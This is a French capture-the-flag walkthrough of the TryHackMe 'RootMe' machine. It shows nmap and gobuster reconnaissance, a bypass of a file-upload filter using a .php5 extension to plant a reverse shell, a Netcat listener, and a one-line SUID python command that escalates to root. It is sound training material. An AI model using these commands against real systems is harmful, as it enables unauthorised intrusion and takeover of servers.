RootMe

Lien vers l’épreuve : https://tryhackme.com/r/room/rrootme

Easy

Sommaire

Reconnaissance

nmap -T4 -A rootme.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 14:12 CEST
Nmap scan report for rootme.thm (10.10.156.223)
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: HackIT - Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/12%OT=22%CT=1%CU=42224%PV=Y%DS=2%DC=T%G=Y%TM=670
OS:A67BC%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10C%T
OS:I=Z%CI=Z%II=I%TS=D)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=
OS:M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4
OS:B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%
OS:DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT      ADDRESS
1   31.33 ms 10.9.0.1
2   31.84 ms rootme.thm (10.10.156.223)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.37 seconds

Le scan NMAP met en lumière la présence de 2 ports ouverts : un serveur SSH sur le port 22 et un serveur HTTP Apache en version 2.4.29 sur le port 80.

Analyse du serveur Apache

gobuster dir -u http://rootme.thm -w /usr/share/wordlists/dirb/common.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://rootme.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[...expurgé pour brièveté...]
/css                  (Status: 301) [Size: 306] [--> http://rootme.thm/css/]
/index.php            (Status: 200) [Size: 616]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 305] [--> http://rootme.thm/js/]
/panel                (Status: 301) [Size: 308] [--> http://rootme.thm/panel/]
/server-status        (Status: 403) [Size: 275]
/uploads              (Status: 301) [Size: 310] [--> http://rootme.thm/uploads/]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================

L’outil gobuster nous permet d’identifier une page panel et une page uploads.

Pour l’instant, la page uploads est vide, et la page panel nous permet de téléverser des fichiers.

Possibilité d'uploader des fichiers
Possibilité d'uploader des fichiers

Nous tentons de téléverser une page PHP permettant d’obtenir un reverse-shell, mais sans succès : Il y a un filtrage sur le type de fichiers autorisés.

Upload de fichiers PHP interdit
Upload de fichiers PHP interdit

Nous utilisons l’outil d’exploitation web Burp Suite afin de trouver un contournement possible à la limitation, et nous parvenons à uploader le reverse-shell en ajoutant un chiffre à la fin de l’extension, indiquant la version de PHP à utiliser.

Le reverse-shell proposé par pentestmonkey nécessitant une version supérieure à 4, et la version actuelle étant la 8, nous nous sommes contenté de tester les valeurs de 4 à 8.

Upload de plusieurs versions php avec succès
Upload de plusieurs versions php avec succès

Nous avons à présent téléverser plusieurs versions de notre reverse-shell, il ne nous reste plus qu’à préparer un port en écoute avec Netcat, puis à nous rendre à la page uploads pour vérifier quelle(s) version(s) fonctionne(nt).

La version php5 nous permet d’obtenir un shell fonctionnel.

nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.9.1.73] from (UNKNOWN) [10.10.117.180] 39092
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:17:38 up 9 min,  0 users,  load average: 0.00, 0.23, 0.21
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Nous commençons par améliorer notre reverse-shell avec la commande suivante :

Puis nous recherchons le flag utilisateur

find / -iname user.txt -type f 2>/dev/null
/var/www/user.txt

cat /var/www/user.txt
THM{y[...expurgé...]l}

Élévation de privilèges

Cette épreuve est guidée, et nous sommes invités à trouver un fichier avec des permissions SUID. Ce type de permissions permet à n’importe quel utilisateur d’utiliser un programme avec les privilèges du propriétaire.

Nous utiliserons la commande ciblant les SUID (-perm /4000)

find / -user root -perm /4000 -exec ls -ldbh {} \; 2>/dev/null
[...expurgé pour brièveté...]
-rwsr-xr-x 1 root root 19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 44K Mar 22  2019 /usr/bin/chsh
-rwsr-sr-x 1 root root 3.5M Aug  4  2020 /usr/bin/python
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 146K Jan 31  2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 40K Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59K Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22K Mar 27  2019 /usr/bin/pkexec
[...expurgé pour brièveté...]
-rwsr-xr-x 1 root root 43K Jan  8  2020 /bin/mount
-rwsr-xr-x 1 root root 44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root 27K Jan  8  2020 /bin/umount

Il est assez peu courant d’avoir des privilèges aussi élevé sur le binaire Python.

Le site GTFOBins nous permet de trouver la commande nécessaire pour élever nos privilèges et devenir root.

python -c 'import os; os.execl("/bin/bash", "bash", "-p")'

bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4#

Nous avons à présent les droits root sur la machine, nous pouvons terminer par trouver le flag root.txt

cat /root/root.txt
THM{p[...expurgé...]n}